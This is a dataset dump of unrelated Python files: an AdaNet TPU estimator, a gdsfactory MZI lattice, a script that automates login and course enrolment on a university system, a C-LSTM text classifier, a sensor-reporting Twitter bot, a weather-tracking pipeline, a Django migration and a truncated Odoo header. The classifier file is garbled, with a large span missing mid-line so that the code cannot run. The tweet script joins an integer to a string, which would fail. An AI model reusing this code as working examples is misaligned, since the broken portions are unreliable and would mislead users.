adanet import tf_compat\nfrom adanet.core.estimator import Estimator\nimport tensorflow as tf\n\nfrom tensorflow.python.util import function_utils # pylint: disable=g-direct-tensorflow-import\n\n\nclass TPUEstimator(Estimator, tf.contrib.tpu.TPUEstimator):\n \"\"\"An :class:`adanet.Estimator` capable of training and evaluating on TPU.\n\n Unless :code:`use_tpu=False`, training will run on TPU. However, certain parts\n of the AdaNet training loop, such as report materialization and best candidate\n selection, will still occurr on CPU. Furthermore, inference also occurs on\n CPU.\n\n TODO: Provide the missing functionality detailed below.\n N.B: Embeddings using the TPUEmbedding (i.e. :code:`embedding_config_spec`\n is provided) only support :code:`shared_embedding_columns` when running for\n multiple AdaNet iterations. Using regular :code:`embedding_columns` will cause\n iterations 2..n to fail because of mismatched embedding scopes.\n\n Args:\n head: See :class:`adanet.Estimator`.\n subnetwork_generator: See :class:`adanet.Estimator`.\n max_iteration_steps: See :class:`adanet.Estimator`.\n ensemblers: See :class:`adanet.Estimator`.\n ensemble_strategies: See :class:`adanet.Estimator`.\n evaluator: See :class:`adanet.Estimator`.\n report_materializer: See :class:`adanet.Estimator`.\n metric_fn: See :class:`adanet.Estimator`.\n force_grow: See :class:`adanet.Estimator`.\n replicate_ensemble_in_training: See :class:`adanet.Estimator`.\n adanet_loss_decay: See :class:`adanet.Estimator`.\n report_dir: See :class:`adanet.Estimator`.\n config: See :class:`adanet.Estimator`.\n use_tpu: Boolean to enable *both* training and evaluating on TPU. Defaults\n to :code:`True` and is only provided to allow debugging models on CPU/GPU.\n Use :class:`adanet.Estimator` instead if you do not plan to run on TPU.\n train_batch_size: See :class:`tf.contrib.tpu.TPUEstimator`.\n eval_batch_size: See :class:`tf.contrib.tpu.TPUEstimator`.\n embedding_config_spec: See :class:`tf.contrib.tpu.TPUEstimator`.\n debug: See :class:`adanet.Estimator`.\n enable_ensemble_summaries: See :class:`adanet.Estimator`.\n enable_subnetwork_summaries: See :class:`adanet.Estimator`.\n **kwargs: Extra keyword args passed to the parent.\n \"\"\"\n\n def __init__(self,\n head,\n subnetwork_generator,\n max_iteration_steps,\n ensemblers=None,\n ensemble_strategies=None,\n evaluator=None,\n report_materializer=None,\n metric_fn=None,\n force_grow=False,\n replicate_ensemble_in_training=False,\n adanet_loss_decay=.9,\n model_dir=None,\n report_dir=None,\n config=None,\n use_tpu=True,\n train_batch_size=None,\n eval_batch_size=None,\n embedding_config_spec=None,\n debug=False,\n enable_ensemble_summaries=True,\n enable_subnetwork_summaries=True,\n **kwargs):\n\n if tf_compat.version_greater_or_equal(\"2.0.0\"):\n raise ValueError(\"TPUEstimator is not yet supported with TensorFlow 2.0.\")\n\n self._use_tpu = use_tpu\n if not self._use_tpu:\n tf.logging.warning(\n \"This adanet.TPUEstimator is meant to be used for running on TPU. \"\n \"If you want to run on CPU/GPU, use adanet.Estimator instead.\")\n\n # TPUEstimator modifies config under the hood. We keep track of it here so\n # we can use it during the bookkeeping phase and when predict() is called.\n self._original_config = config or tf.contrib.RunConfig()\n self._train_batch_size = train_batch_size or 0\n self._eval_batch_size = eval_batch_size or train_batch_size or 0\n self._embedding_config_spec = embedding_config_spec\n\n super(TPUEstimator, self).__init__(\n head=head,\n subnetwork_generator=subnetwork_generator,\n max_iteration_steps=max_iteration_steps,\n ensemblers=ensemblers,\n ensemble_strategies=ensemble_strategies,\n evaluator=evaluator,\n report_materializer=report_materializer,\n metric_fn=metric_fn,\n force_grow=force_grow,\n replicate_ensemble_in_training=replicate_ensemble_in_training,\n adanet_loss_decay=adanet_loss_decay,\n model_dir=model_dir,\n report_dir=report_dir,\n config=self._original_config,\n use_tpu=use_tpu,\n eval_on_tpu=use_tpu,\n export_to_tpu=False,\n train_batch_size=self._train_batch_size,\n eval_batch_size=self._eval_batch_size,\n embedding_config_spec=self._embedding_config_spec,\n debug=debug,\n enable_ensemble_summaries=enable_ensemble_summaries,\n enable_subnetwork_summaries=enable_subnetwork_summaries,\n **kwargs)\n\n # Yields predictions on CPU even when use_tpu=True.\n def predict(self,\n input_fn,\n predict_keys=None,\n hooks=None,\n checkpoint_path=None,\n yield_single_examples=True):\n\n tf.logging.warning(\n \"The adanet.TPUEstimator does not support predicting on TPU. \"\n \"Instead, all predictions are run on CPU.\")\n tpu_estimator = tf.contrib.tpu.TPUEstimator(\n model_fn=self._adanet_model_fn,\n model_dir=self.model_dir,\n config=self._original_config,\n params=self.params,\n use_tpu=False,\n embedding_config_spec=self._embedding_config_spec)\n return tpu_estimator.predict(\n input_fn,\n predict_keys=predict_keys,\n hooks=hooks,\n checkpoint_path=checkpoint_path,\n yield_single_examples=yield_single_examples)\n\n def _create_temp_run_config(self, temp_model_dir):\n \"\"\"See the `Estimator` base class for details.\"\"\"\n\n return tf.contrib.tpu.RunConfig(\n model_dir=temp_model_dir,\n tpu_config=self._original_config.tpu_config,\n evaluation_master=self._original_config.evaluation_master,\n master=self._original_config.master,\n cluster=self._original_config.cluster,\n tf_random_seed=self._original_config.tf_random_seed,\n session_config=self._original_config.session_config,\n protocol=self._original_config.protocol)\n\n def _create_temp_estimator(self, config):\n \"\"\"See the `Estimator` base class for details.\"\"\"\n\n temp_model_dir = config.model_dir\n return tf.contrib.tpu.TPUEstimator(\n model_fn=self._adanet_model_fn,\n params={},\n config=config,\n model_dir=temp_model_dir,\n use_tpu=self._use_tpu,\n eval_on_tpu=self._use_tpu,\n export_to_tpu=False,\n train_batch_size=self._train_batch_size,\n eval_batch_size=self._eval_batch_size,\n embedding_config_spec=self._embedding_config_spec)\n\n def _call_adanet_model_fn(self, input_fn, mode, config):\n \"\"\"See the `Estimator` base class for details.\"\"\"\n\n # Bind parameters to input_fn since the parent's input_fn is not expected to\n # have any arguments.\n input_fn_args = function_utils.fn_args(input_fn)\n kwargs = {}\n if \"mode\" in input_fn_args:\n kwargs[\"mode\"] = mode\n if \"params\" in input_fn_args:\n kwargs[\"params\"] = self.params\n if \"config\" in input_fn_args:\n kwargs[\"config\"] = config\n input_fn = functools.partial(input_fn, **kwargs)\n super(TPUEstimator, self)._call_adanet_model_fn(input_fn, mode, config)\n\n def _create_estimator_spec(self, current_iteration, mode,\n iteration_number_tensor, previous_iteration_vars):\n \"\"\"See the `Estimator` base class for details.\"\"\"\n\n if not self._use_tpu:\n return super(TPUEstimator,\n self)._create_estimator_spec(current_iteration, mode,\n iteration_number_tensor,\n previous_iteration_vars)\n\n training = mode == tf.estimator.ModeKeys.TRAIN\n iteration_estimator_spec = current_iteration.estimator_spec\n return tf_compat.TPUEstimatorSpec(\n mode=mode,\n predictions=iteration_estimator_spec.predictions,\n loss=iteration_estimator_spec.loss,\n train_op=self._train_op(iteration_estimator_spec),\n host_call=self._create_host_call(current_iteration, training),\n eval_metrics=iteration_estimator_spec.eval_metrics,\n export_outputs=iteration_estimator_spec.export_outputs,\n # Return a constant summary_op, otherwise `Estimator` creates summary\n # ops that do not work on TPU.\n scaffold_fn=lambda: tf.train.Scaffold(summary_op=tf.constant(\"\")),\n training_hooks=self._decorate_hooks(\n self._training_hooks(current_iteration, training,\n iteration_number_tensor,\n previous_iteration_vars)),\n evaluation_hooks=self._evaluation_hooks(current_iteration, training))\n\n def _training_hooks(self, current_iteration, training,\n iteration_number_tensor, previous_iteration_vars):\n \"\"\"See the `Estimator` base class for details.\"\"\"\n\n training_hooks = super(TPUEstimator,\n self)._training_hooks(current_iteration, training,\n iteration_number_tensor,\n previous_iteration_vars)\n if self._use_tpu:\n # Remove summary hooks on TPU since summaries are saved via host_call.\n training_hooks = [\n hook for hook in training_hooks\n if not isinstance(hook, tf.train.SummarySaverHook)\n ]\n\n return training_hooks\n\n def _create_host_call(self, current_iteration, training):\n \"\"\"Construct a host_call writing scalar summaries.\n\n Args:\n current_iteration: The current `_Iteration`.\n training: Boolean indicating whether in training mode.\n\n Returns:\n (fn, args) Pair to be called by TPUEstimator as the host_call.\n \"\"\"\n\n # Collect and flatten summary functions and arguments.\n summary_kwargs = collections.OrderedDict()\n gs_t = tf.reshape(tf.to_int32(tf.train.get_global_step()), [1])\n summary_kwargs[\"global_step\"] = gs_t\n\n summary_fns = collections.defaultdict(list)\n for i, summary in enumerate(current_iteration.summaries):\n for j, (summary_fn, tensor) in enumerate(summary.summary_tuples()):\n summary_fns[i].append(summary_fn)\n summary_kwargs[\"summary_{}_{}\".format(i, j)] = tensor\n\n def _host_call_fn(**kwargs):\n \"\"\"Training host call.\n\n Creates summaries for training metrics.\n\n Args:\n **kwargs: Dict of {str: Tensor} , with `Tensor` of shape `[batch]`. Must\n contain key \"global_step\" with value of current global_step Tensor.\n\n Returns:\n List of summary ops to run on the CPU host.\n \"\"\"\n\n gs = tf.to_int64(kwargs.pop(\"global_step\")[0])\n if not training:\n return [tf.no_op()]\n\n for i, summary in enumerate(current_iteration.summaries):\n with tf.contrib.summary.create_file_writer(summary.logdir).as_default():\n with tf.contrib.summary.record_summaries_every_n_global_steps(\n n=self.config.save_summary_steps, global_step=gs):\n for j, summary_fn in enumerate(summary_fns[i]):\n tensor = kwargs[\"summary_{}_{}\".format(i, j)]\n summary_fn(tensor, step=gs)\n summary.clear_summary_tuples()\n return tf.contrib.summary.all_summary_ops()\n\n return _host_call_fn, summary_kwargs\n","sub_path":"adanet/core/tpu_estimator.py","file_name":"tpu_estimator.py","file_ext":"py","file_size_in_byte":12305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"241630265","text":"from typing import Tuple\n\nfrom gdsfactory.cell import cell\nfrom gdsfactory.component import Component\nfrom gdsfactory.components.coupler import coupler as coupler_function\nfrom gdsfactory.components.mzi import mzi as mzi_function\nfrom gdsfactory.components.straight import straight as straight_function\nfrom gdsfactory.types import ComponentFactory\n\n\n@cell\ndef mzi_lattice(\n coupler_lengths: Tuple[float, ...] = (10.0, 20.0),\n coupler_gaps: Tuple[float, ...] = (0.2, 0.3),\n delta_lengths: Tuple[float, ...] = (10.0,),\n mzi_factory: ComponentFactory = mzi_function,\n splitter: ComponentFactory = coupler_function,\n straight: ComponentFactory = straight_function,\n **kwargs,\n) -> Component:\n r\"\"\"Mzi lattice filter.\n\n .. code::\n\n ______ ______\n | | | |\n | | | |\n cp1==| |===cp2=====| |=== .... ===cp_last===\n | | | |\n | | | |\n DL1 | DL2 |\n | | | |\n |______| | |\n |______|\n\n \"\"\"\n assert len(coupler_lengths) == len(coupler_gaps)\n assert len(coupler_lengths) == len(delta_lengths) + 1\n\n c = Component()\n\n splitter_settings = dict(gap=coupler_gaps[0], length=coupler_lengths[0])\n\n combiner_settings = dict(gap=coupler_gaps[1], length=coupler_lengths[1])\n\n cp1 = splitter(**splitter_settings)\n\n sprevious = c << mzi_factory(\n splitter=splitter,\n combiner=splitter,\n with_splitter=True,\n delta_length=delta_lengths[0],\n straight=straight,\n combiner_settings=combiner_settings,\n splitter_settings=splitter_settings,\n **kwargs,\n )\n\n stages = []\n\n for length, gap, delta_length in zip(\n coupler_lengths[2:], coupler_gaps[2:], delta_lengths[1:]\n ):\n\n splitter_settings = dict(gap=coupler_gaps[1], length=coupler_lengths[1])\n combiner_settings = dict(length=length, gap=gap)\n\n stage = c << mzi_factory(\n splitter=splitter,\n combiner=splitter,\n with_splitter=False,\n delta_length=delta_length,\n straight=straight,\n splitter_settings=splitter_settings,\n combiner_settings=combiner_settings,\n **kwargs,\n )\n splitter_settings = combiner_settings\n\n stages.append(stage)\n\n for stage in stages:\n stage.connect(\"o1\", sprevious.ports[\"o4\"])\n # stage.connect('o2', sprevious.ports['o1'])\n sprevious = stage\n\n for port in cp1.get_ports_list(orientation=180):\n c.add_port(port.name, port=port)\n\n for port in sprevious.get_ports_list(orientation=0):\n c.add_port(f\"o_{port.name}\", port=port)\n\n c.auto_rename_ports()\n return c\n\n\nif __name__ == \"__main__\":\n cpl = [10, 20, 30]\n cpg = [0.1, 0.2, 0.3]\n dl0 = [100, 200]\n\n # cpl = [10, 20, 30, 40]\n # cpg = [0.2, 0.3, 0.5, 0.5]\n # dl0 = [0, 50, 100]\n\n c = mzi_lattice(\n coupler_lengths=cpl, coupler_gaps=cpg, delta_lengths=dl0, length_x=10\n )\n c.show()\n","sub_path":"gdsfactory/components/mzi_lattice.py","file_name":"mzi_lattice.py","file_ext":"py","file_size_in_byte":3210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"534944777","text":"#!/usr/env python3\n'''\na small part of the unfinished code.\nThese usages have been implemented:\n 1. load the entry page ,get the image check code and show it to the user\n 2. get the username, password and check code from the user and log into the mis system\n 3. save the final response page into a file called login.html\n'''\n\nfrom urllib import request, parse\nfrom http import cookiejar\nimport re\nfrom PIL import Image # used to show random picture\nimport pyquery\n\nheader = {\n \"Host\": \"mis.teach.ustc.edu.cn\",\n \"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0\",\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\",\n \"Accept-Language\": \"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3\",\n \"Accept-Encoding\": \"gzip, deflate\",\n \"Connection\": \"keep-alive\"\n}\n\nurl = \"http://mis.teach.ustc.edu.cn\"\n\ndef get_opener(head):\n # deal with the Cookies\n cj = cookiejar.CookieJar()\n pro = request.HTTPCookieProcessor(cj)\n opener = request.build_opener(pro)\n header = []\n for key, value in head.items():\n elem = (key, value)\n header.append(elem)\n opener.addheaders = header\n return opener\n\ndef get_random_image(opener):\n '''\n this function will grap the check code image\n and save it to /tmp/ramdom_image\n '''\n postdata = parse.urlencode({'userbz':'s'}).encode()\n entry_res = opener.open(url+\"/userinit.do\", postdata)\n\n entry_page = entry_res.read().decode('gb2312')\n\n regex = re.compile(\"randomImage.do\\?date='\\d*'\")\n\n image_url = regex.search(entry_page)\n\n if image_url is None:\n print(\"Something went wrong!\\n\")\n return 1\n else:\n image_res = opener.open(\"%s/%s\"%(url,image_url.group()))\n image_data = image_res.read()\n image_file = open(\"/tmp/random_image\", \"wb\")\n image_file.raw.write(image_data)\n image_file.close()\n\ndef data_input():\n data = {\n 'passWord': '',\n 'userCode': '',\n 'check' : '',\n }\n\n data['userCode'] = input(\"用户名:\")\n data['passWord'] = input(\"密码:\")\n\n image_file = open(\"/tmp/random_image\", \"rb\")\n image = Image.open(image_file)\n image.show()\n\n data['check'] = input(\"验证码:\")\n\n return data\n\ndef login(opener):\n postdata = data_input()\n postdata['userbz'] = 's'\n postdata['hldjym'] = ''\n postdata = parse.urlencode(postdata).encode()\n\n login_res = opener.open(url+\"/login.do\", postdata)\n #login_page = login_res.read().decode(\"gb2312\")\n\n #res_file = open(\"login.html\", \"w\")\n #res_file.write(login_page)\n #res_file.close()\n\ndef query_lesson(opener):\n lesson_type = int(input(\"课程类型 (1-8, 输0了解编号含义 ):\"))\n\n if lesson_type == 0:\n print(\"1: 计划内课程\")\n print(\"2: 自由选修\")\n print(\"4: 公选课\")\n print(\"5: 体育选项\")\n print(\"6: 英语选课\")\n print(\"8: 重修重考\")\n\n else:\n while lesson_type not in [1, 2, 4, 5, 6, 8]:\n lesson_type = input(\"错误的课程类型~\\n课程类型 (1-8, 输0了解编号含义 ):\")\n\n lesson_number = input(\"课堂号:\")\n\n get_data = {\n 'xnxq': 20152,\n 'seldwdm': 'null',\n 'selkkdw': '',\n 'seyxn': 2015,\n 'seyxq': 2,\n 'queryType': lesson_type,\n 'rkjs': '',\n 'kkdw': '',\n 'kcmc': '',\n }\n \n get_data = parse.urlencode(get_data, encoding = 'gb2312')\n\n query = opener.open(\"http://mis.teach.ustc.edu.cn/init_st_xk_dx.do?\"+get_data)\n\n query_page = query.read()\n query_page = pyquery.PyQuery(query_page)\n\n table = query_page.find('table#dxkctable1')\n tr_list = table.find('tr')[1:]\n parameter = {} # some data to grap from query result\n\n for tr in tr_list:\n if lesson_number == tr.findall('td')[1].text.strip():\n para_text = tr.findall('td')[-1].find('input').values()[-1]\n para_list = para_text.split('(')[1].split(')')[0].split(',')\n\n parameter['xnxq'] = 20152\n parameter['kcbjbh'] = lesson_number\n parameter['kcid'] = para_list[3][1:-1] # drop \"'\"\n parameter['kclb'] = para_list[5][1:-1]\n parameter['kcsx'] = para_list[6][1:-1]\n parameter['cxck'] = para_list[9][1:-1]\n parameter['zylx'] = para_list[10][1:-1]\n parameter['gxkfl'] = para_list[11][1:-1]\n parameter['xlh'] = para_list[12][1:-1]\n parameter['sjpdm'] = para_list[7][1:-1]\n parameter['kssjdm'] = para_list[8][1:-1]\n \n break\n\n try:\n parameter['xnxq']\n except KeyError: # lesson not found\n print('没找到。。。')\n return None\n else:\n return parse.urlencode(parameter, encoding='gb2312')\n \ndef rob_lesson(opener, para):\n insert_page = opener.open(\"http://mis.teach.ustc.edu.cn/xkgcinsert.do?\"+para)\n print(insert_page.read())\n\ndef main():\n opener = get_opener(header)\n get_random_image(opener)\n login(opener)\n\n try:\n while True:\n para = query_lesson(opener)\n if para != None:\n break\n\n while rob_lesson(opener, para):\n pass\n except KeyboardInterrupt:\n print('Bye~~')\n return 1\n\nif __name__ == '__main__':\n main()\n","sub_path":"lesson_robber.py","file_name":"lesson_robber.py","file_ext":"py","file_size_in_byte":5310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"357719091","text":"import numpy as np\r\nimport pandas as pd\r\nimport pickle\r\nfrom collections import defaultdict\r\nimport re\r\n\r\nfrom bs4 import BeautifulSoup\r\n\r\nimport sys\r\nimport os\r\n\r\nimport tensorflow as tf\r\nfrom tensorflow.keras.preprocessing.text import Tokenizer, text_to_word_sequence\r\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\r\nfrom keras.utils.np_utils import to_categorical\r\n\r\nfrom tensorflow.keras.layers import Embedding\r\nfrom tensorflow.keras.layers import Dense, Input, Flatten, Lambda\r\n#from tensorflow.keras.layers import Merged\r\nfrom tensorflow.keras.layers import Conv1D,Conv2D, MaxPooling1D, Embedding, Dropout, LSTM, GRU, Bidirectional, TimeDistributed,RepeatVector\r\nfrom tensorflow.keras.models import Model,Sequential\r\nfrom tensorflow.keras.regularizers import l2\r\n\r\nfrom keras import backend as K\r\nfrom keras.engine.topology import Layer, InputSpec\r\nfrom keras import initializers\r\n\r\nfrom sklearn.metrics import roc_curve, auc\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.preprocessing import LabelEncoder\r\nimport time\r\n\r\nimport nltk\r\nnltk.download('punkt')\r\n\r\n\r\n\r\ndataset = pd.read_csv('/home/zhangyc/下载/paper/data/All.csv')\r\nprint(dataset.shape)\r\n\r\ntexts=[]\r\ntexts=dataset['Statement']#####################################\r\nlabel=dataset['Label']\r\n\r\nlabelEncoder=LabelEncoder()\r\nencoded_label=labelEncoder.fit_transform(label)\r\ny=np.reshape(encoded_label,(-1,1))\r\n\r\n\r\n#X_train,X_test,y_train,y_test=train_test_split(X,y,test_size=0.2)\r\n\r\ntraining_size=int(0.8*dataset.shape[0])\r\nprint(dataset.shape[0],training_size)\r\ndata_train=dataset[:training_size]['Statement']\r\ny_train=y[:training_size]\r\ndata_rest=dataset[training_size:]['Statement']\r\ny_test=y[training_size:]\r\n\r\n\r\nMAX_SENT_LENGTH = 300\r\nMAX_SENTS = 20\r\nMAX_NB_WORDS = 400000\r\nEMBEDDING_DIM = 100\r\nVALIDATION_SPLIT = 0.2\r\n\r\nfrom nltk import tokenize\r\n\r\ndef striphtml(html):\r\n p = re.compile(r'<.*?>')\r\n return p.sub('', html)\r\n\r\n\r\ndef clean(s):\r\n return re.sub(r'[^\\x00-\\x7f]', r'', s)\r\n\r\ndocs = []\r\nlabels = []\r\ntexts = []\r\ntxt=''\r\n\r\nfor statement, label in zip(data_train, y_train):\r\n sentences = re.split(r'(?0.5):\r\n y2.append(True)\r\n else:\r\n y2.append(False)\r\n\r\nend =time.time()\r\nprint('Char Classification report:\\n',classification_report(y_test,y2))\r\n#print('Classification report:\\n',precision_recall_fscore_support(y_test,y_pred))\r\n#print(y_pred)\r\n\r\nfpr,tpr,threshold = roc_curve(y_test, y_pred) \r\nroc_auc = auc(fpr,tpr) \r\n\r\nplt.figure()\r\nlw = 2\r\nplt.figure(figsize=(10,10))\r\nplt.plot(fpr, tpr, color='darkorange',\r\n lw=lw, label='ROC curve' % roc_auc) \r\nplt.plot([0, 1], [0, 1], color='navy', lw=lw, linestyle='--')\r\nplt.xlim([0.0, 1.0])\r\nplt.ylim([0.0, 1.05])\r\nplt.xlabel('False Positive Rate')\r\nplt.ylabel('True Positive Rate')\r\nplt.title('Char')\r\nplt.legend(loc=\"lower right\")\r\nplt.show()\r\n\r\n\r\nprint('Running time: %s Seconds'%(end-start))\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"paper/code/Character_level C_LSTM/Character_level_C_LSTM_All.py","file_name":"Character_level_C_LSTM_All.py","file_ext":"py","file_size_in_byte":6553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"296588085","text":"# -*- coding: utf-8 -*-\n\"\"\"Construct messages to be sent as tweet text\"\"\"\n\n# Allows using time related functions\nfrom datetime import datetime\n# convert times according to time zones\nfrom pytz import timezone\n# import mac address\nfrom uuid import getnode as macaddress\n\ndef reply(tweet):\n \"\"\"Return text to be used as a reply\"\"\"\n message = tweet['text']\n user = tweet['user']['screen_name']\n if \"hi\" in message.lower():\n berlin_time = datetime.now(timezone('Europe/Berlin'))\n date = berlin_time.strftime(\"It is %H:%M:%S on a %A.\")\n return \"Hi @\" + user + \"! \" + date + \"\\nfrom \" + macaddress()\n return None\n\ndef idle_text():\n \"\"\"Return text that is tweeted when not replying\"\"\"\n # Construct the text we want to tweet out (280 chars max)\n values = sysvalues()\n text = \"Hi, I am \" + (\"%0.2X\" % macaddress()) + \"!\\nMy body temperature is \" + str(values[0]) + \"°C, fueled with \" + \"{:.0f}\".format(values[1] * 100) + \"%\" + (\" and I still can't get enough\" if values[2] else \"\") + \"! Also I'm shining at around \" + \"{:.1f}\".format(values[3] * 100) + \"%.\" \n return text\n\ndef sysvalues():\n temperature = int(open('/sys/bus/platform/devices/coretemp.0/hwmon/hwmon1/temp1_input', 'r').read()) / 1000\n capacity = float(open('/sys/class/power_supply/BAT0/capacity', 'r').read()) / 100\n power = bool(int(open('/sys/class/power_supply/AC0/online', 'r').read()))\n brightness = float(open('/sys/class/backlight/intel_backlight/brightness', 'r').read()) / int(open('/sys/class/backlight/intel_backlight/max_brightness', 'r').read())\n\n return (temperature, capacity, power, brightness)\n","sub_path":"tweet_text.py","file_name":"tweet_text.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"588238851","text":"#!/usr/bin/env python\nimport json\nimport pprint\nimport psycopg2\nimport yaml\nimport time\nimport pytz\nimport datetime\nfrom collections import Counter\nfrom snowplow_tracker import Subject, Tracker, Emitter, SelfDescribingJson\nfrom urllib.request import urlopen\n\n# get config file and read\nwith open(\"config.yaml\", 'r') as configfile:\n cfg = yaml.load(configfile)\n\n# initialze Snowplow Tracker\ne = Emitter(cfg['snpl-mini']['server'], protocol=\"http\", method=\"post\")\nt = Tracker(e, app_id=\"weather_info\")\ns = Subject()\ns.set_timezone(\"Australia/Sydney\")\ns.set_platform(\"srv\")\n\n# Return most commin in list\ndef most_common(lst):\n data = Counter(lst)\n return data.most_common(1)[0][0]\n\n\n# finding key and value searching in dic\ndef gen_dict_extract(node, kv):\n if isinstance(node, list):\n for i in node:\n for x in gen_dict_extract(i, kv):\n yield x\n elif isinstance(node, dict):\n if kv in node:\n yield node[kv]\n for j in node.values():\n for x in gen_dict_extract(j, kv):\n yield x\n\n# getting only the first find in the list\n\n\ndef get_detail_once(dicti, var):\n if list(gen_dict_extract(dicti, var))[0]:\n return list(gen_dict_extract(dicti, var))[0]\n\n\n# parsing api request into json output\ndef getUrl(url):\n with urlopen(url) as url:\n print(\"open api request..\")\n http_info = url.info()\n raw_data = url.read().decode()\n json_data = json.loads(raw_data)\n return json_data\n\n# set every time we got to UTC to normalize data in Snowplow\n\n\ndef convertTimezone(timeZone, dateToConvert):\n utc = pytz.utc\n fmtIn = '%Y-%m-%d %H:%M:%S'\n fmtOut = '%Y-%m-%dT%H:%M:%SZ'\n lc_timezone = pytz.timezone(timeZone)\n dt = datetime.datetime.strptime(dateToConvert, fmtIn)\n lc_dt = lc_timezone.localize(dt)\n return lc_dt.astimezone(utc).strftime(fmtOut)\n\n# obtaining the connection to RedShift\nconnenction_string = \"dbname='{0}' port='5439' user='{1}' password='{2}' host='{3}'\".format(\n cfg['redshift']['db'], cfg['redshift']['user'], cfg['redshift']['passwd'], cfg['redshift']['host'])\n\nprint(\"Connecting to \\n ->%s\" % (connenction_string))\nconn = psycopg2.connect(connenction_string)\ncur = conn.cursor()\n\n# executing sql to get locations\nsql = \"\"\"SELECT l.postcode, l.locationid FROM {0} l LIMIT 5\"\"\".format(cfg['mysql']['locationsTable'])\nprint(\"Fetching all locations from Redshift..\")\ncur.execute(sql)\nd = cur.fetchall()\n\n# object to store weather by location\nweather_object = []\n\n# loop over all locations from redshift\nprint(\"Start looping over all locations..\")\nfor idx, locations in enumerate(d):\n\n postcode = locations[0]\n location_id = locations[1]\n\n print(\"Get postcode -> {0} with location id -> {1}\".format(postcode, location_id))\n\n if(location_id):\n # Getting the weather api json\n urlWeather = 'https://api.willyweather.com.au/v2/{0}/locations/{1}/weather.json?forecasts=weather,rainfall&days=1&observational=true'.format(cfg['apikeys']['willyweather'], location_id)\n wl = getUrl(urlWeather)\n\n # check if request comes back with response for postcode\n if(wl):\n # split the weather gotten back from the json\n fc_r = wl['forecasts']['rainfall']\n fc_w = wl['forecasts']['weather']\n fc_o = wl['observational']\n lc = wl['location']\n\n # after we got the above working we can push it all into a object and\n # read to Snowplow from there\n obj = {\n 'weather_dateTime': convertTimezone(lc['timeZone'], get_detail_once(fc_w, 'dateTime')),\n 'location_id': lc['id'],\n 'lat': lc['lat'],\n 'lon': lc['lng'],\n 'suburb': lc['name'],\n 'postcode': lc['postcode'],\n 'region': lc['region'],\n 'state': lc['state'],\n 'location_timeZone': lc['timeZone'],\n 'weather_issueTime': convertTimezone(lc['timeZone'], get_detail_once(fc_w, 'issueDateTime')),\n #'rainfall_issueTime': convertTimezone(lc['timeZone'], get_detail_once(fc_r, 'issueDateTime')),\n 'rainfall_issueTime': convertTimezone(lc['timeZone'], get_detail_once(fc_o, 'issueDateTime')),\n 'precis': get_detail_once(fc_w, 'precis'),\n 'precisCode': get_detail_once(fc_w, 'precisCode'),\n 'precisOverlayCode': get_detail_once(fc_w, 'precisOverlayCode'),\n 'temp_max': get_detail_once(fc_w, 'max'),\n 'temp_min': get_detail_once(fc_w, 'min'),\n 'rainfall_since9AMAmount': get_detail_once(fc_o, 'since9AMAmount'),\n 'rainfall_dayAmount': get_detail_once(fc_o, 'todayAmount')\n #,\n #'rainfall_probability': get_detail_once(fc_r, 'probability'),\n #'rainfall_startRange': get_detail_once(fc_r, 'startRange'),\n #'rainfall_endRange': get_detail_once(fc_r, 'endRange')\n }\n\n # manually send time stamp as getting \"Long\" int every time..\n timestamp = int(time.time())\n\n t.track_unstruct_event(SelfDescribingJson(\n \"iglu:au.com.oneflare/weather_info/jsonschema/1-0-0\",\n {\n 'weather_dateTime': convertTimezone(lc['timeZone'], get_detail_once(fc_w, 'dateTime')),\n 'location_id': lc['id'],\n 'lat': lc['lat'],\n 'lon': lc['lng'],\n 'suburb': lc['name'],\n 'postcode': lc['postcode'],\n 'region': lc['region'],\n 'state': lc['state'],\n 'location_timeZone': lc['timeZone'],\n 'weather_issueTime': convertTimezone(lc['timeZone'], get_detail_once(fc_w, 'issueDateTime')),\n #'rainfall_issueTime': convertTimezone(lc['timeZone'], get_detail_once(fc_r, 'issueDateTime')),\n 'rainfall_issueTime': convertTimezone(lc['timeZone'], get_detail_once(fc_o, 'issueDateTime')),\n 'precis': get_detail_once(fc_w, 'precis'),\n 'precisCode': get_detail_once(fc_w, 'precisCode'),\n 'precisOverlayCode': get_detail_once(fc_w, 'precisOverlayCode'),\n 'temp_max': get_detail_once(fc_w, 'max'),\n 'temp_min': get_detail_once(fc_w, 'min'),\n 'rainfall_since9AMAmount': get_detail_once(fc_o, 'since9AMAmount'),\n 'rainfall_dayAmount': get_detail_once(fc_o, 'todayAmount')\n #,\n #'rainfall_probability': get_detail_once(fc_r, 'probability'),\n #'rainfall_startRange': get_detail_once(fc_r, 'startRange'),\n #'rainfall_endRange': get_detail_once(fc_r, 'endRange')\n }\n ), None, int(timestamp))\n\n weather_object.append(obj)\n\npprint.pprint(weather_object)\n","sub_path":"openweather.py","file_name":"openweather.py","file_ext":"py","file_size_in_byte":7005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"375180205","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('core', '0003_auto_20160123_1815'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='report',\n name='branch',\n field=models.CharField(max_length=255, default='master'),\n preserve_default=False,\n ),\n ]\n","sub_path":"lint_computer/core/migrations/0004_report_branch.py","file_name":"0004_report_branch.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"541004871","text":"# -*- coding: utf-8 -*-\n# © 2017 Pharmadus I.T.\n# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl).\n\nfrom openerp import models, fields, api, _, 